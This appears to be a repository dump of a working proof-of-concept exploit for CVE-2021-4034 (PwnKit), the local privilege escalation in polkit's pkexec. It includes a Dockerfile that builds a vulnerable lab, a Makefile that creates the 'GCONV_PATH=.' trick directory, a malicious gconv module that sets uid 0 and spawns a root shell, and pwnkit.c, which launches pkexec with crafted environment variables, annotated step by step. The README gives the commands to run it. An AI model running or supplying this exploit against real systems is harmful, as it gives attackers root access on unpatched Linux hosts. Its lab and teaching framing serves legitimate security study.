[
  {
    "path": "Dockerfile",
    "content": "# base\nFROM ubuntu:focal\nRUN apt update\n\n# dev tools\nRUN apt-get install -y gcc make\n\n# polkit\nRUN apt-get install -y libpolkit-gobject-1-0=0.105-26ubuntu1\nRUN apt-get install -y libpolkit-agent-1-0=0.105-26ubuntu1\nRUN apt-get install -y policykit-1=0.105-26ubuntu1\n\n# low privileged user\nRUN useradd -ms /bin/bash lowpriv\nUSER lowpriv\n\n# copy exploit\nRUN mkdir /home/lowpriv/pwnkit\nCOPY conversion-mod.c Makefile pwnkit.c /home/lowpriv/pwnkit/\nWORKDIR /home/lowpriv/pwnkit\n"
  },
  {
    "path": "Makefile",
    "content": "all: clean setup conversion-mod.so pwnkit\n\nsetup:\n\tmkdir 'GCONV_PATH=.'\n\ttouch GCONV_PATH=.\\/pwn\n\tchmod +x GCONV_PATH=.\\/pwn\n\tmkdir pwn\n\techo 'module  UTF-8//    BRUH//    conversion-mod   1' > pwn/gconv-modules\n\nconversion-mod.so:\n\tgcc -shared -fPIC -o pwn/conversion-mod.so conversion-mod.c\n\npwnkit:\n\tgcc -o pwnkit pwnkit.c\n\nclean:\n\trm -rf 'GCONV_PATH=.' pwn pwnkit"
  },
  {
    "path": "README.md",
    "content": "# CVE-2021-4034\n\nLocal privilege escalation via `pkexec`\n\n## YouTube video\n\n<p>\n  <a href='https://www.youtube.com/watch?v=eTcVLqKpZJc'>\n    <img src=\"https://user-images.githubusercontent.com/19750782/162562498-078f4bcb-4403-4ec4-acd4-b59530f081db.png\" alt=\"PwnFunction YouTube Video\" width=\"600\">\n  </a>\n</p>\n\nWatch the [✨ YouTube Video](https://www.youtube.com/watch?v=eTcVLqKpZJc)\n\n## Run locally\n\n```sh\nmake all && ./pwnkit && make clean\n```\n\n## Run in docker\n\n```sh\n# Build the docker image\ndocker build -t pwnkit .\n\n# Run the exploit\ndocker run -it pwnkit bash\nmake all && ./pwnkit && make clean\n```\n\n## Detect using snyk-cli\n\n```\nsnyk container test pwnkit:latest --file=Dockerfile\n```\n\n## Resources\n\n- [Qualys Security Advisory](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt)\n- [argv silliness](https://ryiron.wordpress.com/2013/12/16/argv-silliness/)\n"
  },
  {
    "path": "conversion-mod.c",
    "content": "#define _GNU_SOURCE\n#include <unistd.h>\n#include <gconv.h>\n\nint gconv_init() {\n    /* Get back uid & gid */\n    setuid(0);\n    setgid(0);\n\n    char *args[] = {\"sh\", NULL};\n    char *envp[] = {\"PATH=/bin:/usr/bin:/sbin\", NULL};\n\n    execvpe(\"/bin/sh\", args, envp);\n\n    return(__GCONV_OK);\n}\n\nint  gconv(){ return(__GCONV_OK); }"
  },
  {
    "path": "pwnkit.c",
    "content": "/** \n * pwnkit: Local Privilege Escalation in polkit's pkexec (CVE-2021-4034)\n * Research advisory: https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt\n * poc by @PwnFunction <hello@pwnfunction.com>\n * */\n\n#include <unistd.h>\n\nint main() {\n    /** \n     * Default n=1 via argv[0]=NULL, ergo argv[1] == envp[0] for OOB read and write primitives.\n     *\n     * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L481\n     *\n     * 481   for (n = 1; n < (guint) argc; n++) { ... }\n     * ...\n     * 537   path = g_strdup (argv[n]);\n     * */\n    char *argv[] = { NULL };\n\n    char *envp[] = {\n        /**\n         * `pwn` is argv[1] when OOB read, \n         * and will be overwritten by \"unsecure\" env variable \"GCONV_PATH=./pwn\" \n         *\n         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L543\n         * \n         * 543   if (path[0] != '/')\n         * 544     {\n         * ...\n         * 546       s = g_find_program_in_path (path);\n         * ...\n         * 553       argv[n] = path = s;\n         * 554     }\n         * */ \n        \"pwn\",\n\n        /** \n         * Trigger `g_printerr` via \"suspicious content\" (\"/\", \"%\", \"..\") in `validate_environment_variable`\n         * Choose `TERM` for no reason, any \"safe\" env variable works\n         *\n         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L333\n         * \n         * 333 static gboolean\n         * 334 validate_environment_variable (const gchar *key,\n         * 335                               const gchar *value)\n         * 336 {\n         * ...\n         * 352   if (g_strcmp0 (key, \"SHELL\") == 0) { ... }\n         * ...\n         * 364   else if ((g_strcmp0 (key, \"XAUTHORITY\") != 0 && strstr (value, \"/\") != NULL) ||\n         * 365            strstr (value, \"%\") != NULL ||\n         * 366            strstr (value, \"..\") != NULL)\n         * 367   {\n         * ...\n         * 371     g_printerr (\"\\n\"\n         * 372                 \"This incident has been reported.\\n\");\n         * ...\n         * 374   }\n         * ...\n         * 380 }\n         * */\n        \"TERM=..\",\n\n        /** \n         * Should have a directory named `GCONV_PATH=.`.\n         * Inside a file should exist with the name `pwn`\n         * `g_find_program_in_path` resolve `path` to \"GCONV_PATH=./pwn\"\n         * Overwrite argv[1]=\"GCONV_PATH=./pwn\", which is also envp[0]\n         *\n         * Source: https://gitlab.freedesktop.org/polkit/polkit/-/blob/0.105/src/programs/pkexec.c#L546\n         *\n         * 546       s = g_find_program_in_path (path);\n         * ...\n         * 553       argv[n] = path = s;\n         * */\n        \"PATH=GCONV_PATH=.\",\n        /**\n         * `UNSECURE_ENVVARS`: https://code.woboq.org/userspace/glibc/sysdeps/generic/unsecvars.h.html\n         * `__unsetenv`: https://code.woboq.org/userspace/glibc/elf/dl-support.c.html#348\n         * */\n\n        /** \n         * Under `g_printerr`, control the condition `g_get_console_charset()`.\n         *\n         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3400\n         * \n         * 3400       if (g_get_console_charset (&charset))\n         *\n         * ---\n         *\n         * Inside `g_get_console_charset`, for unix systems calls `g_get_charset`.\n         *\n         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L432\n         *\n         * 432   return g_get_charset (charset);\n         *\n         * ---\n         *\n         * Under `g_get_charset`, we need to set `cache->is_utf8` to false.\n         *\n         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L220\n         *\n         * 220       cache->is_utf8 = g_utf8_get_charset_internal (raw, &new_charset);\n         *\n         * ---\n         *\n         * Inside `g_utf8_get_charset_internal`, returns `FALSE` if env variable `CHARSET` is not \"UTF-8\"\n         *\n         * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gcharset.c#L124\n         *\n         * 124       if (charset && strstr (charset, \"UTF-8\"))\n         * 125         return TRUE;\n         * \n         * */\n        \"CHARSET=BRUH\",\n        NULL\n    };\n\n    /**\n     *\n     * Back in `g_printerr`, when `g_get_console_charset` returns false, we branch to else\n     *\n     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L3404\n     *\n     * 3400       if (g_get_console_charset (&charset))\n     * 3401         fputs (string, stderr); \n     * 3402       else\n     * 3403        {\n     * 3404         gchar *lstring = strdup_convert (string, charset);\n     *  ...\n     * 3408        }\n     * \n     * ---\n     * \n     * Inside `strdup_convert`, if the string is not a valid utf8 string, it calls the g_convert_with_fallback\n     * \n     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gmessages.c#L1064\n     * \n     * 1043   if (!g_utf8_validate (string, -1, NULL)) { ... }\n     * 1060   else\n     * 1061     {\n     *  ...\n     * 1064        gchar *result = g_convert_with_fallback (string, -1, charset, \"UTF-8\", \"?\", NULL, NULL, &err);\n     *  ...\n     * 1081     }\n     * \n     * ---\n     * \n     * Under `g_convert_with_fallback`, calls the open_converter\n     * \n     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L697\n     * \n     * 697    cd = open_converter (to_codeset, \"UTF-8\", error);\n     * \n     * ---\n     * \n     * `open_converter` finally calls the `g_icon_open` which is - \"Same as the standard UNIX routine iconv_open(), \n     * but may be implemented via libiconv on UNIX flavors that lack a native implementation.\"\n     * \n     * Source: https://github.com/GNOME/glib/blob/c2a56a0252acc8bd9dbff953c6c1969815863815/glib/gconvert.c#L313\n     * \n     * 313   cd = g_iconv_open (to_codeset, from_codeset);\n     *\n     * */\n    \n    /* Fire it! */    \n    execve(\"/usr/bin/pkexec\", argv, envp);\n\n    return 0;\n}\n"
  }
]